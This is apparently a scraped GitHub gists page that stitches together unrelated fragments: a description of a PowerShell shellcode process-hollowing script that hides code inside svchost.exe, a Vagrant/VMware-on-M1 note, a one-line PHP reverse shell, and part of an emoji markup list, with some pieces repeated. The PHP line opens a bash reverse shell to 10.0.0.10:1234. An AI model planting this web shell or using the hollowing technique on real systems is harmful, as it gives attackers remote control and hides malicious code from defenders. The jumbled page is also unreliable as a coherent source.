Yunolay Yunolay

## DynWin32-ShellcodeProcessHollowing.ps1
<#

DynWin32-ShellcodeProcessHollowing.ps1 performs shellcode based process hollowing using
dynamically looked up Win32 API calls. The script obtains the methods GetModuleHandle,
GetProcAddress and CreateProcess by using reflection. Afterwards it utilizes GetModuleHandle
and GetProcAddress to obtain the addresses of the other required Win32 API calls.

When all required Win32 API calls are looked up, it starts svchost.exe in a suspended state
and overwrites the entrypoint with the specified shellcode. Afterwards, the thread is resumed
and the shellcode is executed enveloped within the trusted svchost.exe process.

## vagrant-vmware-tech-preview-apple-m1-pro.md

      
              1 file
            
          
              40 forks
            
          
                53 comments
              
            
              174 stars
            
          
                sbailliez
                / vagrant-vmware-tech-preview-apple-m1-pro.md
            
            
              Last active
              May 23, 2025 19:01
            
              
                Vagrant and VMWare Tech Preview 21H1 on Apple M1 Pro
              
          
    Vagrant and VMWare Tech Preview 21H1 on Apple M1 Pro

UPDATE November 20, 2022: VMWare Fusion 13

VMWare Fusion 13 is now released. Read Vagrant and VMWare Fusion 13 Player on Apple M1 Pro for the latest.
Summary

This document summarizes notes taken while to make the VMWare Tech preview work on Apple M1 Pro, it originated

  
## shell.php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

## gist:7360908

      
              1 file
            
          
              4026 forks
            
          
                1234 comments
              
            
              18511 stars
            
          
                rxaviers
                / gist:7360908
            
            
              Last active
              October 31, 2025 18:04
            
              
                Complete list of github markdown emoji markup
              
          
    People


 :bowtie:
😄 :smile:
😆 :laughing:


😊 :blush:
😃 :smiley:
☺️ :relaxed:


😏 :smirk:
😍 :heart_eyes:
😘 :kissing_heart:


😚 :kissing_closed_eyes:
😳 :flushed:
😌 :relieved:


😆 :satisfied:
😁 :grin:
😉 :wink:


😜 :stuck_out_tongue_winking_eye:
😝 :stuck_out_tongue_closed_eyes:
😀 :grinning:


😗 :kissing:
😙 :kissing_smiling_eyes:
😛 :stuck_out_tongue:
	<#

	DynWin32-ShellcodeProcessHollowing.ps1 performs shellcode based process hollowing using
	dynamically looked up Win32 API calls. The script obtains the methods GetModuleHandle,
	GetProcAddress and CreateProcess by using reflection. Afterwards it utilizes GetModuleHandle
	and GetProcAddress to obtain the addresses of the other required Win32 API calls.

	When all required Win32 API calls are looked up, it starts svchost.exe in a suspended state
	and overwrites the entrypoint with the specified shellcode. Afterwards, the thread is resumed
	and the shellcode is executed enveloped within the trusted svchost.exe process.
	<?php
	exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
`:bowtie:`	😄 `:smile:`	😆 `:laughing:`
😊 `:blush:`	😃 `:smiley:`	☺️ `:relaxed:`
😏 `:smirk:`	😍 `:heart_eyes:`	😘 `:kissing_heart:`
😚 `:kissing_closed_eyes:`	😳 `:flushed:`	😌 `:relieved:`
😆 `:satisfied:`	😁 `:grin:`	😉 `:wink:`
😜 `:stuck_out_tongue_winking_eye:`	😝 `:stuck_out_tongue_closed_eyes:`	😀 `:grinning:`
😗 `:kissing:`	😙 `:kissing_smiling_eyes:`	😛 `:stuck_out_tongue:`